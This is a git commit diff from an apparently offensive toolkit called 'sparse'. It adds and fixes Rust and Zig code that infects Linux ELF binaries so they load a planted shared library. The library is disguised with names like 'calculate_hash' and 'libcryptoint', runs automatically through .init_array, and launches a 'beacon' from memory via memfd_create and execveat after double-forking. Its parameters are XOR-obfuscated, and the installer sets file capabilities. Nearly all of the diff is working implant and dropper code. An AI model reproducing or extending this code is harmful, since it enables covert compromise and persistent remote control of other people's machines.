feat: got unix-beacon tested on Linux
This commit is contained in:
parent
90c8b97141
commit
cd2890ee36
1
Cargo.lock
generated
1
Cargo.lock
generated
@ -3267,6 +3267,7 @@ dependencies = [
|
|||||||
name = "sparse-unix-installer"
|
name = "sparse-unix-installer"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"hex",
|
||||||
"rand 0.9.0",
|
"rand 0.9.0",
|
||||||
"sparse-actions",
|
"sparse-actions",
|
||||||
"sparse-unix-infector",
|
"sparse-unix-infector",
|
||||||
|
|||||||
@ -4,7 +4,7 @@ use std::{
|
|||||||
slice,
|
slice,
|
||||||
};
|
};
|
||||||
|
|
||||||
use sparse_actions::payload_types::Parameters;
|
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||||
|
|
||||||
mod elf_types;
|
mod elf_types;
|
||||||
use elf_types::*;
|
use elf_types::*;
|
||||||
@ -21,19 +21,41 @@ pub const SPARSE_LIBRARY: &'static [u8] =
|
|||||||
pub fn infect_elf_binary<BP, LP>(
|
pub fn infect_elf_binary<BP, LP>(
|
||||||
binary_path: BP,
|
binary_path: BP,
|
||||||
target_library_path: LP,
|
target_library_path: LP,
|
||||||
sparse_parameters: &Parameters,
|
mut sparse_parameters: Vec<u8>,
|
||||||
) -> Result<(), Error>
|
) -> Result<(), Error>
|
||||||
where
|
where
|
||||||
BP: AsRef<Path>,
|
BP: AsRef<Path>,
|
||||||
LP: AsRef<Path>,
|
LP: AsRef<Path>,
|
||||||
{
|
{
|
||||||
std::fs::write(&target_library_path, SPARSE_LIBRARY)?;
|
let mut sparse_library = SPARSE_LIBRARY.to_vec();
|
||||||
|
|
||||||
|
for b in sparse_parameters.iter_mut() {
|
||||||
|
*b = *b ^ (XOR_KEY as u8);
|
||||||
|
}
|
||||||
|
|
||||||
|
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
|
||||||
|
if sparse_library[i..(i+256)] == *b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" {
|
||||||
|
sparse_library[i..(i+256)].copy_from_slice(&vec![0; 256]);
|
||||||
|
let tlp = target_library_path
|
||||||
|
.as_ref()
|
||||||
|
.to_str()
|
||||||
|
.expect("invalid path provided for library")
|
||||||
|
.to_owned();
|
||||||
|
sparse_library[i..(i+tlp.len())].copy_from_slice(tlp.as_bytes());
|
||||||
|
}
|
||||||
|
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
|
||||||
|
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::fs::write(&target_library_path, sparse_library)?;
|
||||||
|
|
||||||
let mut binary = std::fs::OpenOptions::new()
|
let mut binary = std::fs::OpenOptions::new()
|
||||||
.read(true)
|
.read(true)
|
||||||
.write(true)
|
.write(true)
|
||||||
.truncate(false)
|
.truncate(false)
|
||||||
.open(&binary_path)?;
|
.open(&binary_path)
|
||||||
|
.expect("Could not open binary path for infecting");
|
||||||
|
|
||||||
binary.seek(SeekFrom::End(0))?;
|
binary.seek(SeekFrom::End(0))?;
|
||||||
let end = binary.stream_position()?;
|
let end = binary.stream_position()?;
|
||||||
@ -49,7 +71,7 @@ where
|
|||||||
};
|
};
|
||||||
|
|
||||||
if let ElfIsa::Amd64 = isa {
|
if let ElfIsa::Amd64 = isa {
|
||||||
infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?;
|
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
|
||||||
|
|
||||||
#[cfg(target_os = "linux")]
|
#[cfg(target_os = "linux")]
|
||||||
{
|
{
|
||||||
@ -94,8 +116,11 @@ where
|
|||||||
.expect("could not convert binary path to string"),
|
.expect("could not convert binary path to string"),
|
||||||
)
|
)
|
||||||
.expect("could not convert binary path to string");
|
.expect("could not convert binary path to string");
|
||||||
|
|
||||||
let current_caps = cap_get_file(path.as_ptr());
|
let current_caps = cap_get_file(path.as_ptr());
|
||||||
|
|
||||||
|
println!("Result of getting caps: {}", errno::errno());
|
||||||
|
|
||||||
println!(
|
println!(
|
||||||
"Result of setting effective caps: {} (errno: {})",
|
"Result of setting effective caps: {} (errno: {})",
|
||||||
cap_set_flag(
|
cap_set_flag(
|
||||||
@ -153,7 +178,6 @@ fn infect_64bit_elf_binary<LP, F>(
|
|||||||
library_path: LP,
|
library_path: LP,
|
||||||
mut binary: F,
|
mut binary: F,
|
||||||
mut binary_data: Vec<u8>,
|
mut binary_data: Vec<u8>,
|
||||||
sparse_parameters: &Parameters,
|
|
||||||
) -> Result<(), Error>
|
) -> Result<(), Error>
|
||||||
where
|
where
|
||||||
LP: AsRef<Path>,
|
LP: AsRef<Path>,
|
||||||
@ -335,11 +359,5 @@ where
|
|||||||
binary.seek(SeekFrom::Start(0))?;
|
binary.seek(SeekFrom::Start(0))?;
|
||||||
binary.write(&binary_data)?;
|
binary.write(&binary_data)?;
|
||||||
|
|
||||||
let param_data = &sparse_parameters as *const _ as *const u8;
|
|
||||||
let param_slice =
|
|
||||||
unsafe { slice::from_raw_parts(param_data, std::mem::size_of::<Parameters>()) };
|
|
||||||
|
|
||||||
binary.write(param_slice)?;
|
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
@ -4,6 +4,7 @@ edition = "2024"
|
|||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
hex = "0.4.3"
|
||||||
rand = "0.9.0"
|
rand = "0.9.0"
|
||||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
||||||
|
|||||||
@ -52,10 +52,10 @@ fn main() -> Result<(), Error> {
|
|||||||
installer_file.seek(SeekFrom::End(-parameters_size))?;
|
installer_file.seek(SeekFrom::End(-parameters_size))?;
|
||||||
|
|
||||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||||
installer_file.read(&mut parameters_buffer)?;
|
installer_file.read_to_end(&mut parameters_buffer)?;
|
||||||
|
|
||||||
for b in parameters_buffer.iter_mut() {
|
for b in parameters_buffer.iter_mut() {
|
||||||
*b = *b & (XOR_KEY as u8);
|
*b = *b ^ (XOR_KEY as u8);
|
||||||
}
|
}
|
||||||
|
|
||||||
let parameters: &mut Parameters =
|
let parameters: &mut Parameters =
|
||||||
@ -66,6 +66,11 @@ fn main() -> Result<(), Error> {
|
|||||||
.try_fill_bytes(&mut identifier)
|
.try_fill_bytes(&mut identifier)
|
||||||
.expect("Could not generate beacon identifier");
|
.expect("Could not generate beacon identifier");
|
||||||
|
|
||||||
|
let hex_ident = hex::encode(&identifier);
|
||||||
|
parameters
|
||||||
|
.beacon_identifier
|
||||||
|
.copy_from_slice(&hex_ident.as_bytes());
|
||||||
|
|
||||||
let beacon_name = opts.binary_name.as_bytes();
|
let beacon_name = opts.binary_name.as_bytes();
|
||||||
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
|
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
|
||||||
parameters.beacon_name_length = beacon_name.len() as u16;
|
parameters.beacon_name_length = beacon_name.len() as u16;
|
||||||
@ -73,5 +78,9 @@ fn main() -> Result<(), Error> {
|
|||||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||||
|
|
||||||
infect_elf_binary(opts.binary, opts.library_path, parameters)
|
std::fs::write("./debug.params-pre", ¶meters_buffer)?;
|
||||||
|
|
||||||
|
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
@ -4,9 +4,10 @@ const posix = std.posix;
|
|||||||
|
|
||||||
const beacon = @embedFile("beacon");
|
const beacon = @embedFile("beacon");
|
||||||
|
|
||||||
const Parameters = @cImport({
|
const abi = @cImport({
|
||||||
@cInclude("abi.h");
|
@cInclude("abi.h");
|
||||||
}).Parameters;
|
});
|
||||||
|
const Parameters = abi.Parameters;
|
||||||
|
|
||||||
const config = @import("config");
|
const config = @import("config");
|
||||||
|
|
||||||
@ -14,7 +15,7 @@ fn open_temp() !std.fs.File {
|
|||||||
switch (builtin.os.tag) {
|
switch (builtin.os.tag) {
|
||||||
.linux => {
|
.linux => {
|
||||||
const fd = try posix.memfd_create("", 0);
|
const fd = try posix.memfd_create("", 0);
|
||||||
return std.fs.File{ .handle = fd };
|
return std.fs.File{ .handle = @intCast(fd) };
|
||||||
},
|
},
|
||||||
else => {
|
else => {
|
||||||
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
|
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
|
||||||
@ -41,17 +42,29 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|||||||
|
|
||||||
const file_path = switch (builtin.os.tag) {
|
const file_path = switch (builtin.os.tag) {
|
||||||
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
|
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
|
||||||
else => "/tmp/libcryptoint",
|
else => try std.fmt.allocPrint(alloc, "/dev/fd/{d}", .{exe_file.handle}),
|
||||||
};
|
};
|
||||||
|
|
||||||
exe_file.close();
|
const key = (abi.XOR_KEY << 8) | abi.XOR_KEY;
|
||||||
|
const beacon_name_length: usize = @intCast(parameters.beacon_name_length ^ key);
|
||||||
|
|
||||||
|
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..beacon_name_length]);
|
||||||
|
|
||||||
|
var i: u16 = 0;
|
||||||
|
while (i < beacon_name_length) : (i += 1) {
|
||||||
|
beacon_name[i] ^= @intCast(abi.XOR_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
|
|
||||||
const file_path_ptr = try alloc.dupeZ(u8, file_path);
|
const file_path_ptr = try alloc.dupeZ(u8, file_path);
|
||||||
|
|
||||||
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
|
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
|
||||||
const envp: [*:null]const ?[*:0]const u8 = &.{null};
|
const envp: [*:null]const ?[*:0]const u8 = &.{null};
|
||||||
|
|
||||||
|
switch (builtin.os.tag) {
|
||||||
|
.linux => {
|
||||||
|
_ = std.os.linux.syscall5(.execveat, @intCast(exe_file.handle), @intFromPtr(""), @intFromPtr(argv), @intFromPtr(envp), 0x1000);
|
||||||
|
},
|
||||||
|
else => {
|
||||||
switch (posix.execveZ(file_path_ptr, argv, envp)) {
|
switch (posix.execveZ(file_path_ptr, argv, envp)) {
|
||||||
else => |e| {
|
else => |e| {
|
||||||
if (builtin.mode == .Debug) {
|
if (builtin.mode == .Debug) {
|
||||||
@ -59,6 +72,8 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|||||||
}
|
}
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
posix.exit(1);
|
posix.exit(1);
|
||||||
}
|
}
|
||||||
@ -81,12 +96,6 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|||||||
if (pid == 0) {
|
if (pid == 0) {
|
||||||
if (try posix.fork() == 0) {
|
if (try posix.fork() == 0) {
|
||||||
try exec_beacon(gzipped_exe, parameters);
|
try exec_beacon(gzipped_exe, parameters);
|
||||||
} else if (builtin.os.tag != .linux) {
|
|
||||||
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
|
|
||||||
|
|
||||||
_ = std.c.sem_wait(sem);
|
|
||||||
|
|
||||||
posix.unlink("/tmp/libcryptoint") catch {};
|
|
||||||
}
|
}
|
||||||
posix.exit(0);
|
posix.exit(0);
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@ -5,32 +5,27 @@ const Parameters = @cImport({
|
|||||||
@cInclude("abi.h");
|
@cInclude("abi.h");
|
||||||
}).Parameters;
|
}).Parameters;
|
||||||
|
|
||||||
extern fn hash_internals(parameters: *Parameters) void;
|
extern fn hash_internals(parameters: *const Parameters) void;
|
||||||
|
|
||||||
var file_parameters: Parameters = undefined;
|
const file_parameters: [@sizeOf(Parameters) / 2]u16 = blk: {
|
||||||
|
var arr: [@sizeOf(Parameters) / 2]u16 = undefined;
|
||||||
|
for (&arr) |*item| {
|
||||||
|
item.* = ('B' << 8) | 'B';
|
||||||
|
}
|
||||||
|
break :blk arr;
|
||||||
|
};
|
||||||
|
|
||||||
fn fill_parameters() !void {
|
const file_with_params: *const [256:0]u8 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||||
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
|
|
||||||
|
|
||||||
try this_file.seekFromEnd(@sizeOf(Parameters));
|
fn get_parameters() *const Parameters {
|
||||||
|
return @as(*const Parameters, @ptrCast(&file_parameters));
|
||||||
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
|
|
||||||
_ = try this_file.reader().read(¶m_buffer);
|
|
||||||
|
|
||||||
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export fn calculate_hash() callconv(.C) void {
|
export fn calculate_hash() callconv(.C) void {
|
||||||
if (dbg) {
|
if (dbg) {
|
||||||
std.io.getStdOut().writeAll("Loaded!") catch {};
|
std.io.getStdOut().writeAll("Loaded!\n") catch {};
|
||||||
}
|
}
|
||||||
fill_parameters() catch |err| {
|
hash_internals(get_parameters());
|
||||||
if (dbg) {
|
|
||||||
std.debug.print("Error calculating hash! {any}", .{err});
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
};
|
|
||||||
hash_internals(&file_parameters);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
|
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user